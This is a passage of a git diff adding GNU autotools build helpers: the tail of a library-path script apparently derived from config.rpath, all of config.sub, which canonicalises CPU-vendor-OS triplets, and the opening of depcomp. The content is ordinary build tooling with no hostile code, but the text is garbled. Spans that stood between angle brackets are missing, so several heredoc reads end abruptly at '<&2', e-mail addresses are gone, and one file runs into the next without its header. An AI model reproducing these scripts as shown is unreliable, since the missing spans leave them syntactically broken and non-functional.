p; } +}'` + if test -z "$aix_libpath"; then + aix_libpath=`dump -HX64 conftest 2>/dev/null | sed -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` + fi + if test -z "$aix_libpath"; then + aix_libpath="/usr/lib:/lib" + fi + rm -f conftest.c conftest + # End _LT_AC_SYS_LIBPATH_AIX. + if test "$aix_use_runtimelinking" = yes; then + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib' + else + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + fi + fi + ;; + amigaos*) + case "$host_cpu" in + powerpc) + ;; + m68k) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + ;; + esac + ;; + bsdi[45]*) + ;; + cygwin* | mingw* | pw32* | cegcc*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec=' ' + libext=lib + ;; + darwin* | rhapsody*) + hardcode_direct=no + if { case $cc_basename in ifort*) true;; *) test "$GCC" = yes;; esac; }; then + : + else + ld_shlibs=no + fi + ;; + dgux*) + hardcode_libdir_flag_spec='-L$libdir' + ;; + freebsd2.[01]*) + hardcode_direct=yes + hardcode_minus_L=yes + ;; + freebsd* | dragonfly* | midnightbsd*) + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + ;; + hpux9*) + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + hpux10*) + if test "$with_gnu_ld" = no; then + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + fi + ;; + hpux11*) + if test "$with_gnu_ld" = no; then + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + case $host_cpu in + hppa*64*|ia64*) + hardcode_direct=no + ;; + *) + hardcode_direct=yes + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + esac + fi + ;; + irix5* | irix6* | nonstopux*) + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + ;; + netbsd*) + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + ;; + newsos6) + hardcode_direct=yes + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + ;; + *nto* | *qnx*) + ;; + openbsd*) + if test -f /usr/libexec/ld.so; then + hardcode_direct=yes + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + else + case "$host_os" in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + hardcode_libdir_flag_spec='-R$libdir' + ;; + *) + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + ;; + esac + fi + else + ld_shlibs=no + fi + ;; + os2*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + ;; + osf3*) + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + ;; + osf4* | osf5*) + if test "$GCC" = yes; then + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + else + # Both cc and cxx compiler support -rpath directly + hardcode_libdir_flag_spec='-rpath $libdir' + fi + hardcode_libdir_separator=: + ;; + solaris*) + hardcode_libdir_flag_spec='-R$libdir' + ;; + sunos4*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_direct=yes + hardcode_minus_L=yes + ;; + sysv4) + case $host_vendor in + sni) + hardcode_direct=yes # is this really true??? + ;; + siemens) + hardcode_direct=no + ;; + motorola) + hardcode_direct=no #Motorola manual says yes, but my tests say they lie + ;; + esac + ;; + sysv4.3*) + ;; + sysv4*MP*) + if test -d /usr/nec; then + ld_shlibs=yes + fi + ;; + sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*) + ;; + sysv5* | sco3.2v5* | sco5v6*) + hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`' + hardcode_libdir_separator=':' + ;; + uts4*) + hardcode_libdir_flag_spec='-L$libdir' + ;; + *) + ld_shlibs=no + ;; + esac +fi + +# Check dynamic linker characteristics +# Code taken from libtool.m4's _LT_SYS_DYNAMIC_LINKER. +# Unlike libtool.m4, here we don't care about _all_ names of the library, but +# only about the one the linker finds when passed -lNAME. This is the last +# element of library_names_spec in libtool.m4, or possibly two of them if the +# linker has special search rules. +library_names_spec= # the last element of library_names_spec in libtool.m4 +libname_spec='lib$name' +case "$host_os" in + aix3*) + library_names_spec='$libname.a' + ;; + aix[4-9]*) + library_names_spec='$libname$shrext' + ;; + amigaos*) + case "$host_cpu" in + powerpc*) + library_names_spec='$libname$shrext' ;; + m68k) + library_names_spec='$libname.a' ;; + esac + ;; + beos*) + library_names_spec='$libname$shrext' + ;; + bsdi[45]*) + library_names_spec='$libname$shrext' + ;; + cygwin* | mingw* | pw32* | cegcc*) + shrext=.dll + library_names_spec='$libname.dll.a $libname.lib' + ;; + darwin* | rhapsody*) + shrext=.dylib + library_names_spec='$libname$shrext' + ;; + dgux*) + library_names_spec='$libname$shrext' + ;; + freebsd[23].*) + library_names_spec='$libname$shrext$versuffix' + ;; + freebsd* | dragonfly* | midnightbsd*) + library_names_spec='$libname$shrext' + ;; + gnu*) + library_names_spec='$libname$shrext' + ;; + haiku*) + library_names_spec='$libname$shrext' + ;; + hpux9* | hpux10* | hpux11*) + case $host_cpu in + ia64*) + shrext=.so + ;; + hppa*64*) + shrext=.sl + ;; + *) + shrext=.sl + ;; + esac + library_names_spec='$libname$shrext' + ;; + interix[3-9]*) + library_names_spec='$libname$shrext' + ;; + irix5* | irix6* | nonstopux*) + library_names_spec='$libname$shrext' + case "$host_os" in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") libsuff= shlibsuff= ;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") libsuff=32 shlibsuff=N32 ;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") libsuff=64 shlibsuff=64 ;; + *) libsuff= shlibsuff= ;; + esac + ;; + esac + ;; + linux*oldld* | linux*aout* | linux*coff*) + ;; + linux* | k*bsd*-gnu | kopensolaris*-gnu) + library_names_spec='$libname$shrext' + ;; + knetbsd*-gnu) + library_names_spec='$libname$shrext' + ;; + netbsd*) + library_names_spec='$libname$shrext' + ;; + newsos6) + library_names_spec='$libname$shrext' + ;; + *nto* | *qnx*) + library_names_spec='$libname$shrext' + ;; + openbsd*) + library_names_spec='$libname$shrext$versuffix' + ;; + os2*) + libname_spec='$name' + shrext=.dll + library_names_spec='$libname.a' + ;; + osf3* | osf4* | osf5*) + library_names_spec='$libname$shrext' + ;; + rdos*) + ;; + solaris*) + library_names_spec='$libname$shrext' + ;; + sunos4*) + library_names_spec='$libname$shrext$versuffix' + ;; + sysv4 | sysv4.3*) + library_names_spec='$libname$shrext' + ;; + sysv4*MP*) + library_names_spec='$libname$shrext' + ;; + sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + library_names_spec='$libname$shrext' + ;; + tpf*) + library_names_spec='$libname$shrext' + ;; + uts4*) + library_names_spec='$libname$shrext' + ;; +esac + +sed_quote_subst='s/\(["`$\\]\)/\\\1/g' +escaped_wl=`echo "X$wl" | sed -e 's/^X//' -e "$sed_quote_subst"` +shlibext=`echo "$shrext" | sed -e 's,^\.,,'` +escaped_libname_spec=`echo "X$libname_spec" | sed -e 's/^X//' -e "$sed_quote_subst"` +escaped_library_names_spec=`echo "X$library_names_spec" | sed -e 's/^X//' -e "$sed_quote_subst"` +escaped_hardcode_libdir_flag_spec=`echo "X$hardcode_libdir_flag_spec" | sed -e 's/^X//' -e "$sed_quote_subst"` + +LC_ALL=C sed -e 's/^\([a-zA-Z0-9_]*\)=/acl_cv_\1=/' <. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that +# program. This Exception is an additional permission under section 7 +# of the GNU General Public License, version 3 ("GPLv3"). + + +# Please send patches to . +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# You can get the latest version of this script from: +# https://git.savannah.gnu.org/cgit/config.git/plain/config.sub + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +# The "shellcheck disable" line above the timestamp inhibits complaints +# about features and limitations of the classic Bourne shell that were +# superseded or lifted in POSIX. However, this script identifies a wide +# variety of pre-POSIX systems that do not have POSIX shells at all, and +# even some reasonably current systems (Solaris 10 as case-in-point) still +# have a pre-POSIX /bin/sh. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS or ALIAS + +Canonicalize a configuration name. + +Options: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.sub ($timestamp) + +Copyright 1992-2021 Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit ;; + --version | -v ) + echo "$version" ; exit ;; + --help | --h* | -h ) + echo "$usage"; exit ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" >&2 + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo "$1" + exit ;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Split fields of configuration type +# shellcheck disable=SC2162 +saved_IFS=$IFS +IFS="-" read field1 field2 field3 field4 <&2 + exit 1 + ;; + *-*-*-*) + basic_machine=$field1-$field2 + basic_os=$field3-$field4 + ;; + *-*-*) + # Ambiguous whether COMPANY is present, or skipped and KERNEL-OS is two + # parts + maybe_os=$field2-$field3 + case $maybe_os in + nto-qnx* | linux-* | uclinux-uclibc* \ + | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* \ + | netbsd*-eabi* | kopensolaris*-gnu* | cloudabi*-eabi* \ + | storm-chaos* | os2-emx* | rtmk-nova*) + basic_machine=$field1 + basic_os=$maybe_os + ;; + android-linux) + basic_machine=$field1-unknown + basic_os=linux-android + ;; + *) + basic_machine=$field1-$field2 + basic_os=$field3 + ;; + esac + ;; + *-*) + # A lone config we happen to match not fitting any pattern + case $field1-$field2 in + decstation-3100) + basic_machine=mips-dec + basic_os= + ;; + *-*) + # Second component is usually, but not always the OS + case $field2 in + # Prevent following clause from handling this valid os + sun*os*) + basic_machine=$field1 + basic_os=$field2 + ;; + zephyr*) + basic_machine=$field1-unknown + basic_os=$field2 + ;; + # Manufacturers + dec* | mips* | sequent* | encore* | pc533* | sgi* | sony* \ + | att* | 7300* | 3300* | delta* | motorola* | sun[234]* \ + | unicom* | ibm* | next | hp | isi* | apollo | altos* \ + | convergent* | ncr* | news | 32* | 3600* | 3100* \ + | hitachi* | c[123]* | convex* | sun | crds | omron* | dg \ + | ultra | tti* | harris | dolphin | highlevel | gould \ + | cbm | ns | masscomp | apple | axis | knuth | cray \ + | microblaze* | sim | cisco \ + | oki | wec | wrs | winbond) + basic_machine=$field1-$field2 + basic_os= + ;; + *) + basic_machine=$field1 + basic_os=$field2 + ;; + esac + ;; + esac + ;; + *) + # Convert single-component short-hands not valid as part of + # multi-component configurations. + case $field1 in + 386bsd) + basic_machine=i386-pc + basic_os=bsd + ;; + a29khif) + basic_machine=a29k-amd + basic_os=udi + ;; + adobe68k) + basic_machine=m68010-adobe + basic_os=scout + ;; + alliant) + basic_machine=fx80-alliant + basic_os= + ;; + altos | altos3068) + basic_machine=m68k-altos + basic_os= + ;; + am29k) + basic_machine=a29k-none + basic_os=bsd + ;; + amdahl) + basic_machine=580-amdahl + basic_os=sysv + ;; + amiga) + basic_machine=m68k-unknown + basic_os= + ;; + amigaos | amigados) + basic_machine=m68k-unknown + basic_os=amigaos + ;; + amigaunix | amix) + basic_machine=m68k-unknown + basic_os=sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + basic_os=sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + basic_os=bsd + ;; + aros) + basic_machine=i386-pc + basic_os=aros + ;; + aux) + basic_machine=m68k-apple + basic_os=aux + ;; + balance) + basic_machine=ns32k-sequent + basic_os=dynix + ;; + blackfin) + basic_machine=bfin-unknown + basic_os=linux + ;; + cegcc) + basic_machine=arm-unknown + basic_os=cegcc + ;; + convex-c1) + basic_machine=c1-convex + basic_os=bsd + ;; + convex-c2) + basic_machine=c2-convex + basic_os=bsd + ;; + convex-c32) + basic_machine=c32-convex + basic_os=bsd + ;; + convex-c34) + basic_machine=c34-convex + basic_os=bsd + ;; + convex-c38) + basic_machine=c38-convex + basic_os=bsd + ;; + cray) + basic_machine=j90-cray + basic_os=unicos + ;; + crds | unos) + basic_machine=m68k-crds + basic_os= + ;; + da30) + basic_machine=m68k-da30 + basic_os= + ;; + decstation | pmax | pmin | dec3100 | decstatn) + basic_machine=mips-dec + basic_os= + ;; + delta88) + basic_machine=m88k-motorola + basic_os=sysv3 + ;; + dicos) + basic_machine=i686-pc + basic_os=dicos + ;; + djgpp) + basic_machine=i586-pc + basic_os=msdosdjgpp + ;; + ebmon29k) + basic_machine=a29k-amd + basic_os=ebmon + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + basic_os=ose + ;; + gmicro) + basic_machine=tron-gmicro + basic_os=sysv + ;; + go32) + basic_machine=i386-pc + basic_os=go32 + ;; + h8300hms) + basic_machine=h8300-hitachi + basic_os=hms + ;; + h8300xray) + basic_machine=h8300-hitachi + basic_os=xray + ;; + h8500hms) + basic_machine=h8500-hitachi + basic_os=hms + ;; + harris) + basic_machine=m88k-harris + basic_os=sysv3 + ;; + hp300 | hp300hpux) + basic_machine=m68k-hp + basic_os=hpux + ;; + hp300bsd) + basic_machine=m68k-hp + basic_os=bsd + ;; + hppaosf) + basic_machine=hppa1.1-hp + basic_os=osf + ;; + hppro) + basic_machine=hppa1.1-hp + basic_os=proelf + ;; + i386mach) + basic_machine=i386-mach + basic_os=mach + ;; + isi68 | isi) + basic_machine=m68k-isi + basic_os=sysv + ;; + m68knommu) + basic_machine=m68k-unknown + basic_os=linux + ;; + magnum | m3230) + basic_machine=mips-mips + basic_os=sysv + ;; + merlin) + basic_machine=ns32k-utek + basic_os=sysv + ;; + mingw64) + basic_machine=x86_64-pc + basic_os=mingw64 + ;; + mingw32) + basic_machine=i686-pc + basic_os=mingw32 + ;; + mingw32ce) + basic_machine=arm-unknown + basic_os=mingw32ce + ;; + monitor) + basic_machine=m68k-rom68k + basic_os=coff + ;; + morphos) + basic_machine=powerpc-unknown + basic_os=morphos + ;; + moxiebox) + basic_machine=moxie-unknown + basic_os=moxiebox + ;; + msdos) + basic_machine=i386-pc + basic_os=msdos + ;; + msys) + basic_machine=i686-pc + basic_os=msys + ;; + mvs) + basic_machine=i370-ibm + basic_os=mvs + ;; + nacl) + basic_machine=le32-unknown + basic_os=nacl + ;; + ncr3000) + basic_machine=i486-ncr + basic_os=sysv4 + ;; + netbsd386) + basic_machine=i386-pc + basic_os=netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + basic_os=linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + basic_os=newsos + ;; + news1000) + basic_machine=m68030-sony + basic_os=newsos + ;; + necv70) + basic_machine=v70-nec + basic_os=sysv + ;; + nh3000) + basic_machine=m68k-harris + basic_os=cxux + ;; + nh[45]000) + basic_machine=m88k-harris + basic_os=cxux + ;; + nindy960) + basic_machine=i960-intel + basic_os=nindy + ;; + mon960) + basic_machine=i960-intel + basic_os=mon960 + ;; + nonstopux) + basic_machine=mips-compaq + basic_os=nonstopux + ;; + os400) + basic_machine=powerpc-ibm + basic_os=os400 + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + basic_os=ose + ;; + os68k) + basic_machine=m68k-none + basic_os=os68k + ;; + paragon) + basic_machine=i860-intel + basic_os=osf + ;; + parisc) + basic_machine=hppa-unknown + basic_os=linux + ;; + psp) + basic_machine=mipsallegrexel-sony + basic_os=psp + ;; + pw32) + basic_machine=i586-unknown + basic_os=pw32 + ;; + rdos | rdos64) + basic_machine=x86_64-pc + basic_os=rdos + ;; + rdos32) + basic_machine=i386-pc + basic_os=rdos + ;; + rom68k) + basic_machine=m68k-rom68k + basic_os=coff + ;; + sa29200) + basic_machine=a29k-amd + basic_os=udi + ;; + sei) + basic_machine=mips-sei + basic_os=seiux + ;; + sequent) + basic_machine=i386-sequent + basic_os= + ;; + sps7) + basic_machine=m68k-bull + basic_os=sysv2 + ;; + st2000) + basic_machine=m68k-tandem + basic_os= + ;; + stratus) + basic_machine=i860-stratus + basic_os=sysv4 + ;; + sun2) + basic_machine=m68000-sun + basic_os= + ;; + sun2os3) + basic_machine=m68000-sun + basic_os=sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + basic_os=sunos4 + ;; + sun3) + basic_machine=m68k-sun + basic_os= + ;; + sun3os3) + basic_machine=m68k-sun + basic_os=sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + basic_os=sunos4 + ;; + sun4) + basic_machine=sparc-sun + basic_os= + ;; + sun4os3) + basic_machine=sparc-sun + basic_os=sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + basic_os=sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + basic_os=solaris2 + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + basic_os= + ;; + sv1) + basic_machine=sv1-cray + basic_os=unicos + ;; + symmetry) + basic_machine=i386-sequent + basic_os=dynix + ;; + t3e) + basic_machine=alphaev5-cray + basic_os=unicos + ;; + t90) + basic_machine=t90-cray + basic_os=unicos + ;; + toad1) + basic_machine=pdp10-xkl + basic_os=tops20 + ;; + tpf) + basic_machine=s390x-ibm + basic_os=tpf + ;; + udi29k) + basic_machine=a29k-amd + basic_os=udi + ;; + ultra3) + basic_machine=a29k-nyu + basic_os=sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + basic_os=none + ;; + vaxv) + basic_machine=vax-dec + basic_os=sysv + ;; + vms) + basic_machine=vax-dec + basic_os=vms + ;; + vsta) + basic_machine=i386-pc + basic_os=vsta + ;; + vxworks960) + basic_machine=i960-wrs + basic_os=vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + basic_os=vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + basic_os=vxworks + ;; + xbox) + basic_machine=i686-pc + basic_os=mingw32 + ;; + ymp) + basic_machine=ymp-cray + basic_os=unicos + ;; + *) + basic_machine=$1 + basic_os= + ;; + esac + ;; +esac + +# Decode 1-component or ad-hoc basic machines +case $basic_machine in + # Here we handle the default manufacturer of certain CPU types. It is in + # some cases the only manufacturer, in others, it is the most popular. + w89k) + cpu=hppa1.1 + vendor=winbond + ;; + op50n) + cpu=hppa1.1 + vendor=oki + ;; + op60c) + cpu=hppa1.1 + vendor=oki + ;; + ibm*) + cpu=i370 + vendor=ibm + ;; + orion105) + cpu=clipper + vendor=highlevel + ;; + mac | mpw | mac-mpw) + cpu=m68k + vendor=apple + ;; + pmac | pmac-mpw) + cpu=powerpc + vendor=apple + ;; + + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + cpu=m68000 + vendor=att + ;; + 3b*) + cpu=we32k + vendor=att + ;; + bluegene*) + cpu=powerpc + vendor=ibm + basic_os=cnk + ;; + decsystem10* | dec10*) + cpu=pdp10 + vendor=dec + basic_os=tops10 + ;; + decsystem20* | dec20*) + cpu=pdp10 + vendor=dec + basic_os=tops20 + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + cpu=m68k + vendor=motorola + ;; + dpx2*) + cpu=m68k + vendor=bull + basic_os=sysv3 + ;; + encore | umax | mmax) + cpu=ns32k + vendor=encore + ;; + elxsi) + cpu=elxsi + vendor=elxsi + basic_os=${basic_os:-bsd} + ;; + fx2800) + cpu=i860 + vendor=alliant + ;; + genix) + cpu=ns32k + vendor=ns + ;; + h3050r* | hiux*) + cpu=hppa1.1 + vendor=hitachi + basic_os=hiuxwe2 + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + cpu=hppa1.0 + vendor=hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + cpu=m68000 + vendor=hp + ;; + hp9k3[2-9][0-9]) + cpu=m68k + vendor=hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + cpu=hppa1.0 + vendor=hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + cpu=hppa1.1 + vendor=hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + cpu=hppa1.1 + vendor=hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + cpu=hppa1.1 + vendor=hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + cpu=hppa1.1 + vendor=hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + cpu=hppa1.0 + vendor=hp + ;; + i*86v32) + cpu=`echo "$1" | sed -e 's/86.*/86/'` + vendor=pc + basic_os=sysv32 + ;; + i*86v4*) + cpu=`echo "$1" | sed -e 's/86.*/86/'` + vendor=pc + basic_os=sysv4 + ;; + i*86v) + cpu=`echo "$1" | sed -e 's/86.*/86/'` + vendor=pc + basic_os=sysv + ;; + i*86sol2) + cpu=`echo "$1" | sed -e 's/86.*/86/'` + vendor=pc + basic_os=solaris2 + ;; + j90 | j90-cray) + cpu=j90 + vendor=cray + basic_os=${basic_os:-unicos} + ;; + iris | iris4d) + cpu=mips + vendor=sgi + case $basic_os in + irix*) + ;; + *) + basic_os=irix4 + ;; + esac + ;; + miniframe) + cpu=m68000 + vendor=convergent + ;; + *mint | mint[0-9]* | *MiNT | *MiNT[0-9]*) + cpu=m68k + vendor=atari + basic_os=mint + ;; + news-3600 | risc-news) + cpu=mips + vendor=sony + basic_os=newsos + ;; + next | m*-next) + cpu=m68k + vendor=next + case $basic_os in + openstep*) + ;; + nextstep*) + ;; + ns2*) + basic_os=nextstep2 + ;; + *) + basic_os=nextstep3 + ;; + esac + ;; + np1) + cpu=np1 + vendor=gould + ;; + op50n-* | op60c-*) + cpu=hppa1.1 + vendor=oki + basic_os=proelf + ;; + pa-hitachi) + cpu=hppa1.1 + vendor=hitachi + basic_os=hiuxwe2 + ;; + pbd) + cpu=sparc + vendor=tti + ;; + pbb) + cpu=m68k + vendor=tti + ;; + pc532) + cpu=ns32k + vendor=pc532 + ;; + pn) + cpu=pn + vendor=gould + ;; + power) + cpu=power + vendor=ibm + ;; + ps2) + cpu=i386 + vendor=ibm + ;; + rm[46]00) + cpu=mips + vendor=siemens + ;; + rtpc | rtpc-*) + cpu=romp + vendor=ibm + ;; + sde) + cpu=mipsisa32 + vendor=sde + basic_os=${basic_os:-elf} + ;; + simso-wrs) + cpu=sparclite + vendor=wrs + basic_os=vxworks + ;; + tower | tower-32) + cpu=m68k + vendor=ncr + ;; + vpp*|vx|vx-*) + cpu=f301 + vendor=fujitsu + ;; + w65) + cpu=w65 + vendor=wdc + ;; + w89k-*) + cpu=hppa1.1 + vendor=winbond + basic_os=proelf + ;; + none) + cpu=none + vendor=none + ;; + leon|leon[3-9]) + cpu=sparc + vendor=$basic_machine + ;; + leon-*|leon[3-9]-*) + cpu=sparc + vendor=`echo "$basic_machine" | sed 's/-.*//'` + ;; + + *-*) + # shellcheck disable=SC2162 + saved_IFS=$IFS + IFS="-" read cpu vendor <&2 + exit 1 + ;; + esac + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case $vendor in + digital*) + vendor=dec + ;; + commodore*) + vendor=cbm + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if test x$basic_os != x +then + +# First recognize some ad-hoc cases, or perhaps split kernel-os, or else just +# set os. +case $basic_os in + gnu/linux*) + kernel=linux + os=`echo "$basic_os" | sed -e 's|gnu/linux|gnu|'` + ;; + os2-emx) + kernel=os2 + os=`echo "$basic_os" | sed -e 's|os2-emx|emx|'` + ;; + nto-qnx*) + kernel=nto + os=`echo "$basic_os" | sed -e 's|nto-qnx|qnx|'` + ;; + *-*) + # shellcheck disable=SC2162 + saved_IFS=$IFS + IFS="-" read kernel os <&2 + exit 1 + ;; +esac + +# As a final step for OS-related things, validate the OS-kernel combination +# (given a valid OS), if there is a kernel. +case $kernel-$os in + linux-gnu* | linux-dietlibc* | linux-android* | linux-newlib* \ + | linux-musl* | linux-relibc* | linux-uclibc* ) + ;; + uclinux-uclibc* ) + ;; + -dietlibc* | -newlib* | -musl* | -relibc* | -uclibc* ) + # These are just libc implementations, not actual OSes, and thus + # require a kernel. + echo "Invalid configuration \`$1': libc \`$os' needs explicit kernel." 1>&2 + exit 1 + ;; + kfreebsd*-gnu* | kopensolaris*-gnu*) + ;; + vxworks-simlinux | vxworks-simwindows | vxworks-spe) + ;; + nto-qnx*) + ;; + os2-emx) + ;; + *-eabi* | *-gnueabi*) + ;; + -*) + # Blank kernel with real OS is always fine. + ;; + *-*) + echo "Invalid configuration \`$1': Kernel \`$kernel' not known to work with OS \`$os'." 1>&2 + exit 1 + ;; +esac + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +case $vendor in + unknown) + case $cpu-$os in + *-riscix*) + vendor=acorn + ;; + *-sunos*) + vendor=sun + ;; + *-cnk* | *-aix*) + vendor=ibm + ;; + *-beos*) + vendor=be + ;; + *-hpux*) + vendor=hp + ;; + *-mpeix*) + vendor=hp + ;; + *-hiux*) + vendor=hitachi + ;; + *-unos*) + vendor=crds + ;; + *-dgux*) + vendor=dg + ;; + *-luna*) + vendor=omron + ;; + *-genix*) + vendor=ns + ;; + *-clix*) + vendor=intergraph + ;; + *-mvs* | *-opened*) + vendor=ibm + ;; + *-os400*) + vendor=ibm + ;; + s390-* | s390x-*) + vendor=ibm + ;; + *-ptx*) + vendor=sequent + ;; + *-tpf*) + vendor=ibm + ;; + *-vxsim* | *-vxworks* | *-windiss*) + vendor=wrs + ;; + *-aux*) + vendor=apple + ;; + *-hms*) + vendor=hitachi + ;; + *-mpw* | *-macos*) + vendor=apple + ;; + *-*mint | *-mint[0-9]* | *-*MiNT | *-MiNT[0-9]*) + vendor=atari + ;; + *-vos*) + vendor=stratus + ;; + esac + ;; +esac + +echo "$cpu-$vendor-${kernel:+$kernel-}$os" +exit + +# Local variables: +# eval: (add-hook 'before-save-hook 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/build-aux/depcomp b/build-aux/depcomp new file mode 100755 index 00000000..715e3431 --- /dev/null +++ b/build-aux/depcomp @@ -0,0 +1,791 @@ +#! /bin/sh +# depcomp - compile a program generating dependencies as side-effects + +scriptversion=2018-03-07.03; # UTC + +# Copyright (C) 1999-2021 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Originally written by Alexandre Oliva . + +case $1 in + '') + echo "$0: No command. Try '$0 --help' for more information." 1>&2 + exit 1; + ;; + -h | --h*) + cat <<\EOF +Usage: depcomp [--help] [--version] PROGRAM [ARGS] + +Run PROGRAMS ARGS to compile a file, generating dependencies +as side-effects. + +Environment variables: + depmode Dependency tracking mode. + source Source file read by 'PROGRAMS ARGS'. + object Object file output by 'PROGRAMS ARGS'. + DEPDIR directory where to store dependencies. + depfile Dependency file to output. + tmpdepfile Temporary file to use when outputting dependencies. + libtool Whether libtool is 